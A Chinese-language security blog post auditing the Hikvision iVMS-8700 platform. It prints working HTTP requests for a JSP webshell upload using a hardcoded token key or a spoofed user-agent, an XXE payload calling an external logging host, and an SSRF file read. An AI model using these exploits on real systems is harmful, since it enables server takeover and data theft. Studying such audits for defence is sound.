iVMS-8700综合安防管理平台代码审计

微信用户1551136537

共 5856字,需浏览 12分钟

 · 2023-08-17

前言

群里有个师傅在问iVMS-8700综合安防管理平台的指纹信息,并且还说只是访问一下/eps/api/resourceOperations/upload,很明显,这里有个上传

本来18号就想着写出来的,才打完攻防,累,也就拖到了今天才写

9e2987fb84a27d11950a408fd02f4cb7.webp

f553b315a295e5f2de0ae7f3e548f2f1.webp

复现

最开始访问该接口的时候,会提示 token empty

10cd584740a49de0148b48fac23c5868.webp

添加 token 后,会提示 token invalid

9ebe2946c10aaa3eb317e68c604c650e.webp

有点意思

于是找该师傅白嫖了poc

9cfd44288324d843e2d930faf5bfc935.webp

此时也就知道了该token的生成规则

即当你访问 http://x.x.x.x/eps/api/resourceOperations/upload时,token=md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding"),生成的hash值,字母要转大写


代码审计

此时就有点好奇,为什么要对 http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding 进行 md5 加密,为什么直接访问 http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding 404 ,这些都是我的疑问。

首先这里要分析的应用是 eps ,即 eps.war 文件

7513f2b29ddd449a721f8e4d243feba4.webp

通过之前编写的一个获取 spring 所有 controller 的脚本,知道了该 controller 对应的类: com.hikvision.cms.eps.biz.operation.action.ResourceOperationAction

fa4f70a2184e26e5298e7f7384a29588.webp

此时发现,具体上传功能是在 this.resourceOperationService.uploadResourceOperation 这里实现,即 ResourceOperationService 类下的 uploadResourceOperation 方法。

a8aa2c5dff698de3445dbe24ca7b9d26.webp

uploadResourceOperation 方法里,先调用了 FileUtils 里的 uploadFile 方法

3de8747cabd61a03ac91170117cf2e72.webp

uploadFile 里,获取文件后缀后( fileSuffix ),该后缀与 uuid 直接拼接

b121d95eb2cc43f1b261fcc5e2c50a83.webp

tmpPath 的值是 /upload/{uuid}.jsp

a759ab3946b17cc49e59214f975f4960.webp

最后通过MultipartFile里的transferTo方法将该文件成功传到服务器上

回到ResourceOperationService类下的uploadResourceOperation方法中,此时页面回显resourceUuid的值时,也就是保存在服务器上的文件名

99b44bf8cc7c16df1d1de6017f6a2f3f.webp

0e209f5c19cb13d07b6c9616c55b2e09.webp

数据包:

      
      POST /eps/api/resourceOperations/upload?token=xxxx HTTP/1.1
Host: x.x.x.x
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Length: 161

------WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"

webshell
------WebKitFormBoundaryrHmpzTSMsQVHSzYI--

此时发现在上传过程中,没有 token 的参与,因此也就可能是拦截器 Interceptor 或者过滤器 Filter 在起作用

拦截器

web.xml

e0a33ffc5006ff9bc6d13e1fab79c739.webp

springmvc处理的路由有两种情况,分别是以/api/为开始或者是以.action为结束

这两种都被org.springframework.web.servlet.DispatcherServlet来处理,此处是有springmvc的配置文件springmvc-servlet.xml,也就点进去看看

springmvc-servlet.xml中,有三个拦截器:

      
      com.hikvision.cms.common.web.interceptor.HttpServiceRequestInterceptor
com.hikvision.cms.common.web.interceptor.HttpServletResponseInterceptor
com.hikvision.cms.common.web.interceptor.LicenseAuthInterceptor

很明显,第一个拦截器是最有可能存在 token 相关规则的(因为此处存在权限认证的 key ,即 secretKeyIbuilding

f624b41a295c9a70afe46f83cf437103.webp

该拦截器的具体代码如下

33575b447ffba786d04ccbebe2c63975.webp

先判断HttpRequestUtils.requestUriStartWithApi(request)HttpRequestUtils.requestUriEndWithService(request)的值是否为true

由于这里分析的是/api/resourceOperations/upload,因此是true,进入if逻辑

2c246ebbd9590651de469ff7c6c00b19.webp

判断 this.mustAuthPermission() 的值是否是 true ,由于 authPermission 的默认值是 1 ,即 "1".equals(this.getAuthPermission()) true ,因此 this.mustAuthPermission() true

5946f43a11cb00df29b6525193f8213a.webp

然后获取 token 参数的值,判断该值和 MD5Util.md5(targetUrl + this.secretKey) 的值是否相等,即:

      
      MD5Util.md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")
    

因此我们传入的 token 值是:

      
      MD5Util.md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")

最后该拦截器的返回值是 true (最后一个 if 逻辑不影响返回值,且只和页面回显的数据格式有关,也就不分析)也就成功的绕过了 token 的限制

过滤器

可以看见,该过滤器没啥好分析的。

a05ae4a81ac8f52ccb9c0c7890809818.webp


不需要token上传(需要伪造参数)

通过上面分析可知,springmvc是可以处理.action的路由的,并且HttpServiceRequestInterceptor拦截器是只对/api/有效的

.action的过滤器在web.xml里面声明了,是由CASFilter来处理,即:com.hikvision.cms.common.web.cas.ExtAuthenticationFilter

42c5fbabc777c0a5d603f7efadc84853.webp

此时应关注 HttpRequestUtils.requestComeFromWeChatClient(request) 的逻辑值

f264a99ff2c3896292145fcedf793bf3.webp

此时可以看见,当请求头中的 user-agent=MicroMessenger 时,即可走 filterChain.doFilter(servletRequest,servletResponse); 的逻辑,也就能够正常上传了

62146d98a88663026d0baaddd9ac2e33.webp

不加 user-agent=MicroMessenger 时,可以看见会被重定向

b3898e00fe05c05f7faad15cdc63d72e.webp

添加 user-agent=MicroMessenger 时,上传成功

f50d081b5b5fc19001101f6309574c37.webp

最后的数据包:

      
      POST /eps/resourceOperations/upload.action HTTP/1.1
Host: x.x.x.x
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
user-agent: MicroMessenger
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Length: 163

------WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"

111
------WebKitFormBoundaryrHmpzTSMsQVHSzYI--

其他漏洞

其他漏洞倒是没怎么看,就发现了一个 XXE SSRF ,也就没深入了,不过也都是垃圾洞了


XXE审计

漏洞点: com.hikvision.cms.acs.api.http.action.HttpBlackDownloadAction

4db1d982f4766743304c36ac729ab6d5.webp

非常经典的 XXE 漏洞模板代码,可惜只能打个 dnslog

2928c83329c295d8e17c003a6cefe082.webp

      
      POST /acs/api/serviceApi/blackDownload/downloadBlackCallBack?token=xxx HTTP/1.1
Host: x.x.x.x
Content-Type: application/x-www-form-urlencoded
Content-Length: 471

deviceIndexCode=1&xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22ISO-8859-1%22%20%3F%3E%0A%20%20%20%20%20%20%20%20%3C%21DOCTYPE%20example%20%5B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21ELEMENT%20example%20ANY%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21ENTITY%20file%20SYSTEM%20%22http%3A%2F%2F12345.33548593.ipv6.1433.eu.org%22%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5D%3E%0A%3Cexample%3E%26file%3B%3C%2Fexample%3E

(注: dnslog 日志是 18号 的,截图也是 18号 的)

04fcd244961a5f90348f3c3385476025.webp

774feb6104db0797b83fb14f2294ccc3.webp


SSRF审计

漏洞点:com.hikvision.cms.eps.biz.trigger.action.TriggerAction

没啥好分析的,一眼看出

7a4f595bb24f3f74f00416c3521640e6.webp

Exp:

      
      /eps/api/triggerSnapshot/download?token=xxx&fileUrl=file:///C:/windows/win.ini&fileName=1

直接通过 file 协议读取文件

3bfc7627668ea1de6fd8036e10f5ba9d.webp

也能修改成其他协议,比如 ftp http https jar mailto netdoc gopher ,但 gopher 默认是禁用的,这部分的逻辑可以在 rt.jar 中审计,也没啥好说的,因为之前也分析过


总结

分析完了后,感觉漏洞也没啥,也就是基础洞,正常分析就能找到。

原文链接:https://jdr2021.github.io/2023/05/22/iVMS-8700%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/
浏览 107
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报